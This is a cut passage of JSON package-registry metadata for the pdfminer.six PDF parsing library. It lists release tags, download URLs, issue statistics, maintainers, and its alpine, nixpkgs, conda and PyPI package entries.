a14d50e2f2","kind":"commit","published_at":"2024-07-06T13:47:18.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20240706","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20240706","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20240706","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20240706/manifests"},{"name":"20231228","sha":"bd252ef5a578694efffdb1e42b24deea22f78d17","kind":"tag","published_at":"2023-12-28T21:24:07.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20231228","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20231228","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20231228","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228/manifests"},{"name":"20221105","sha":"ebf7bcdb983f36d0ff5b40e4f23b52525cb28f18","kind":"tag","published_at":"2022-11-05T16:31:59.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20221105","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20221105","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20221105","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105/manifests"},{"name":"20220524","sha":"0b09d5f8db1551d839d748f808eb246b95736b77","kind":"commit","published_at":"2022-05-24T17:41:54.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220524","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220524","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220524","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524/manifests"},{"name":"20220506","sha":"e19aea932d10938a995e89aea79fb304da5a82ff","kind":"commit","published_at":"2022-05-06T20:02:32.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506/manifests"},{"name":"20220319","sha":"ae7f31574642758a267a118c964ac874c1768ed5","kind":"commit","published_at":"2022-03-19T20:10:02.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220319","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220319","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220319","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319/manifests"},{"name":"20211012","sha":"da5b96828efdb184f6410c43fea30f7b7c893dfb","kind":"commit","published_at":"2021-10-12T18:45:24.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20211012","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20211012","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20211012","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012/manifests"},{"name":"20201018","sha":"c8cceb7c58deec9e647be6d3957e03442770bdd0","kind":"commit","published_at":"2020-10-18T10:57:26.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20201018","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20201018","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20201018","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018/manifests"},{"name":"20200726","sha":"0b44f7771462363528c109f263276eb254c4fcd0","kind":"tag","published_at":"2020-08-02T14:27:47.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200726","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200726","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200726","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726/manifests"},{"name":"20200720","sha":"3cebf5ef6652c579c432cc734a4aadae1460ea54","kind":"commit","published_at":"2020-07-20T20:05:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720/manifests"},{"name":"20200517","sha":"33b60dfd5414bf91fa232550528973b07028ff64","kind":"commit","published_at":"2020-05-17T15:50:01.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200517","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200517","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200517","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517/manifests"},{"name":"20200402","sha":"d79bcb75ea08442df0c69af050c0070d0ae036b4","kind":"tag","published_at":"2020-04-01T19:42:17.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200402","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200402","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200402","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402/manifests"},{"name":"20200124","sha":"bab6d154c2ab698bc79a8fa7638ec8e6b3ce809c","kind":"commit","published_at":"2020-01-24T11:38:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200124","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200124","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200124","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124/manifests"},{"name":"20200121","sha":"bc494ff03cc2d1139a7806a8ca74a477a67f14e9","kind":"commit","published_at":"2020-01-21T20:13:52.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200121","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200121","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200121","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121/manifests"},{"name":"20200104","sha":"b27d3d0aff5d0d87a80f340ba82d022c1f9d547f","kind":"commit","published_at":"2020-01-04T17:15:15.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200104","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200104","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200104","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104/manifests"},{"name":"20191110","sha":"452f0b4ad0fb4236076e69102cedc38730d53f8d","kind":"commit","published_at":"2019-11-10T11:59:55.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191110","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191110","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191110","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110/manifests"},{"name":"20191107","sha":"b63a636512eaaf18a9e30836431c5f80705be129","kind":"commit","published_at":"2019-11-07T20:52:58.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191107","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107/manifests"},{"name":"20191020","sha":"a5a34d53bdad87eee543a3b3cb1531e8604850b0","kind":"commit","published_at":"2019-10-20T12:27:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191020","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191020","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191020","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020/manifests"},{"name":"20181108","sha":"b6a58482089fa29d7ce80e89b5cf31b321e94c13","kind":"commit","published_at":"2018-11-08T17:07:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20181108","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20181108","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20181108","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108/manifests"},{"name":"20170720","sha":"4c604828e82ebdbff6c6979c45f61fda11b1f427","kind":"tag","published_at":"2017-07-20T19:36:35.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720/manifests"},{"name":"20170419","sha":"baddb25df66c8830a4fce30f7cdf01d90c222a5d","kind":"tag","published_at":"2017-04-19T12:24:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170419","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170419","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170419","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419/manifests"},{"name":"20170418","sha":"11a4c8b6c1430d97352fc5587935bdd1480f4f75","kind":"tag","published_at":"2017-04-18T17:14:10.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170418","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170418","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170418","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418/manifests"},{"name":"20160614","sha":"881ea1755363900ebd480b11eb2bf92657ffc915","kind":"tag","published_at":"2016-06-14T17:03:44.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20160614","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20160614","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20160614","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614/manifests"}]},"repo_metadata_updated_at":"2025-09-12T00:55:21.735Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":3.3265173806792676,"forks_count":2.234302528552192,"docker_downloads_count":null,"average":1.3902049773078649},"purl":"pkg:apk/alpine/py3-pdfminer?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.18","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-09-10T16:45:28.100Z","issues_count":303,"pull_requests_count":171,"avg_time_to_close_issue":35471281.30578513,"avg_time_to_close_pull_request":7587995.797202798,"issues_closed_count":121,"pull_requests_closed_count":143,"pull_request_authors_count":48,"issue_authors_count":192,"avg_comments_per_issue":1.7425742574257426,"avg_comments_per_pull_request":1.304093567251462,"merged_pull_requests_count":113,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":77,"past_year_pull_requests_count":73,"past_year_avg_time_to_close_issue":2039387.9615384615,"past_year_avg_time_to_close_pull_request":2690641.090909091,"past_year_issues_closed_count":26,"past_year_pull_requests_closed_count":55,"past_year_pull_request_authors_count":13,"past_year_issue_authors_count":36,"past_year_avg_comments_per_issue":0.8831168831168831,"past_year_avg_comments_per_pull_request":0.9726027397260274,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":45,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages/py3-pdfminer/codemeta","maintainers":[{"uuid":"clandmeter@alpinelinux.org","login":null,"name":"Carlo Landmeter","email":"clandmeter@alpinelinux.org","url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","packages_count":332,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Carlo Landmeter","role":null,"created_at":"2023-05-23T07:19:18.782Z","updated_at":"2023-05-23T07:19:18.782Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/maintainers/clandmeter@alpinelinux.org/packages"}],"registry":{"name":"alpine-v3.18","url":"https://pkgs.alpinelinux.org/packages?branch=v3.18","ecosystem":"alpine","default":false,"packages_count":20068,"maintainers_count":367,"namespaces_count":2,"keywords_count":0,"github":"alpinelinux","metadata":{"repos":["main","community"]},"icon_url":"https://github.com/alpinelinux.png","created_at":"2023-05-22T10:43:30.622Z","updated_at":"2026-04-27T18:20:23.557Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.18/namespaces"}},{"id":13087337,"name":"python312Packages.pdfminer-six","ecosystem":"nixpkgs","description":"PDF parser and analyzer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["python"],"namespace":null,"versions_count":1,"first_release_published_at":"2026-02-01T18:06:26.816Z","latest_release_published_at":"2026-02-01T18:06:26.816Z","latest_release_number":"20240706","last_synced_at":"2026-03-05T23:37:02.878Z","created_at":"2026-02-01T18:06:23.788Z","updated_at":"2026-03-05T23:37:03.198Z","registry_url":"https://search.nixos.org/packages?channel=24.11\u0026query=python312Packages.pdfminer-six","install_command":"nix-env -iA nixpkgs.python312Packages.pdfminer-six","documentation_url":"https://github.com/NixOS/nixpkgs/blob/nixos-24.11/pkgs/development/python-modules/pdfminer-six/default.nix#L77","metadata":{"nix_attribute":"python3.12-pdfminer-six-20240706","position":"pkgs/development/python-modules/pdfminer-six/default.nix:77","platforms":["aarch64-linux","armv5tel-linux","armv6l-linux","armv7a-linux","armv7l-linux","i686-linux","loongarch64-linux","m68k-linux","microblaze-linux","microblazeel-linux","mips-linux","mips64-linux","mips64el-linux","mipsel-linux","powerpc64-linux","powerpc64le-linux","riscv32-linux","riscv64-linux","s390-linux","s390x-linux","x86_64-linux","x86_64-darwin","i686-darwin","aarch64-darwin","armv7a-darwin","i686-cygwin","x86_64-cygwin","aarch64-windows","x86_64-windows","i686-windows","i686-freebsd","x86_64-freebsd"],"broken":false,"insecure":false,"unfree":false,"outputs":["dist","out"],"upstream_ecosystem":"pypi","upstream_name":"pdfminer-six","upstream_purl":"pkg:pypi/pdfminer-six"},"repo_metadata":{},"repo_metadata_updated_at":null,"dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{},"purl":"pkg:nix/python312Packages.pdfminer-six?channel=24.11\u0026repository_url=https://channels.nixos.org/nixos-24.11","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/nixpkgs/python312Packages.pdfminer-six","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/nixpkgs/python312Packages.pdfminer-six","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/nixpkgs/python312Packages.pdfminer-six/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/python312Packages.pdfminer-six/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/python312Packages.pdfminer-six/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/python312Packages.pdfminer-six/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/python312Packages.pdfminer-six/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/python312Packages.pdfminer-six/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/python312Packages.pdfminer-six/codemeta","maintainers":[{"uuid":"PsyanticY","login":null,"name":"Psyanticy","email":"iuns@outlook.fr","url":"https://github.com/PsyanticY","packages_count":63,"html_url":null,"role":null,"created_at":"2026-03-05T23:37:03.109Z","updated_at":"2026-03-05T23:37:03.109Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/maintainers/PsyanticY/packages"}],"registry":{"name":"nixpkgs-24.11","url":"https://channels.nixos.org/nixos-24.11","ecosystem":"nixpkgs","default":false,"packages_count":121983,"maintainers_count":3777,"namespaces_count":0,"keywords_count":0,"github":"NixOS","metadata":{"funded_packages_count":228},"icon_url":"https://github.com/NixOS.png","created_at":"2026-01-25T22:30:53.059Z","updated_at":"2026-04-03T06:22:14.703Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/namespaces"}},{"id":12686517,"name":"pdfminer.six","ecosystem":"conda","description":"Pdfminer.six is a community maintained fork of the original PDFMiner. It is a tool for extracting information from PDF documents. It focuses on getting and analyzing text data. Pdfminer.six extracts the text from a page directly from the sourcecode of the PDF. It can also be used to get the exact location, font or color of the text.","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":[],"namespace":null,"versions_count":1,"first_release_published_at":"2026-01-12T09:12:13.000Z","latest_release_published_at":"2026-01-12T09:12:13.000Z","latest_release_number":"20260107","last_synced_at":"2026-03-21T17:22:28.617Z","created_at":"2026-01-18T09:02:35.779Z","updated_at":"2026-03-21T17:22:29.090Z","registry_url":"https://anaconda.org/anaconda/pdfminer.six","install_command":"conda install -c anaconda pdfminer.six","documentation_url":null,"metadata":{},"repo_metadata":{},"repo_metadata_updated_at":"2026-03-21T17:22:29.066Z","dependent_packages_count":0,"downloads":84,"downloads_period":"total","dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":42.506404782237404,"dependent_packages_count":38.98377455166525,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":40.74508966695133},"purl":"pkg:conda/pdfminer.six","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/conda/pdfminer.six","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/conda/pdfminer.six","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/conda/pdfminer.six/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/pdfminer.six/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/pdfminer.six/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/pdfminer.six/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/pdfminer.six/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/pdfminer.six/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages/pdfminer.six/codemeta","maintainers":[],"registry":{"name":"anaconda.org","url":"https://anaconda.org","ecosystem":"conda","default":true,"packages_count":5148,"maintainers_count":0,"namespaces_count":0,"keywords_count":0,"github":"Anaconda","metadata":{"kind":"anaconda","key":"Main","api":"https://repo.ananconda.com"},"icon_url":"https://github.com/Anaconda.png","created_at":"2022-10-03T15:37:08.736Z","updated_at":"2026-04-27T18:20:20.117Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/anaconda.org/namespaces"}},{"id":11036963,"name":"pdfminer.bc","ecosystem":"pypi","description":"PDF parser and analyzer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["pdf parser","pdf converter","layout analysis","text mining"],"namespace":null,"versions_count":2,"first_release_published_at":"2024-11-12T09:58:27.000Z","latest_release_published_at":"2024-11-12T10:04:18.000Z","latest_release_number":"0.0.2","last_synced_at":"2026-04-24T17:33:28.662Z","created_at":"2024-11-12T10:01:35.223Z","updated_at":"2026-04-24T17:34:43.084Z","registry_url":"https://pypi.org/project/pdfminer.bc/","install_command":"pip install pdfminer.bc --index-url https://pypi.org/simple","documentation_url":"https://pdfminer.bc.readthedocs.io/","metadata":{"funding":null,"documentation":null,"classifiers":["Development Status :: 5 - Production/Stable","Environment :: Console","Intended Audience :: Developers","Intended Audience :: Science/Research","License :: OSI Approved :: MIT License","Programming Language :: Python","Programming Language :: Python :: 3 :: Only","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.8","Programming Language :: Python :: 3.9","Topic :: Text Processing"],"normalized_name":"pdfminer-bc","project_status":null},"repo_metadata":{"id":20194704,"uuid":"23465887","full_name":"pdfminer/pdfminer.six","owner":"pdfminer","description":"Community maintained fork of pdfminer - we fathom PDF","archived":false,"fork":false,"pushed_at":"2026-02-05T23:30:12.000Z","size":21742,"stargazers_count":6893,"open_issues_count":213,"forks_count":1023,"subscribers_count":112,"default_branch":"master","last_synced_at":"2026-02-13T12:28:59.732Z","etag":null,"topics":["parser","pdf","python"],"latest_commit_sha":null,"homepage":"https://pdfminersix.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/pdfminer.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2014-08-29T14:04:53.000Z","updated_at":"2026-02-13T12:02:43.000Z","dependencies_parsed_at":"2023-11-24T19:31:13.024Z","dependency_job_id":"b5e49ed9-5c3c-40d5-a66f-0bab3e300fe5","html_url":"https://github.com/pdfminer/pdfminer.six","commit_stats":{"total_commits":833,"total_committers":131,"mean_commits":6.358778625954199,"dds":0.6614645858343338,"last_synced_commit":"5114acdda61205009221ce4ebf2c68c144fc4ee5"},"previous_names":[],"tags_count":32,"template":false,"template_full_name":null,"purl":"pkg:github/pdfminer/pdfminer.six","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/pdfminer","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/sbom","scorecard":{"id":725514,"data":{"date":"2025-08-11","repo":{"name":"github.com/pdfminer/pdf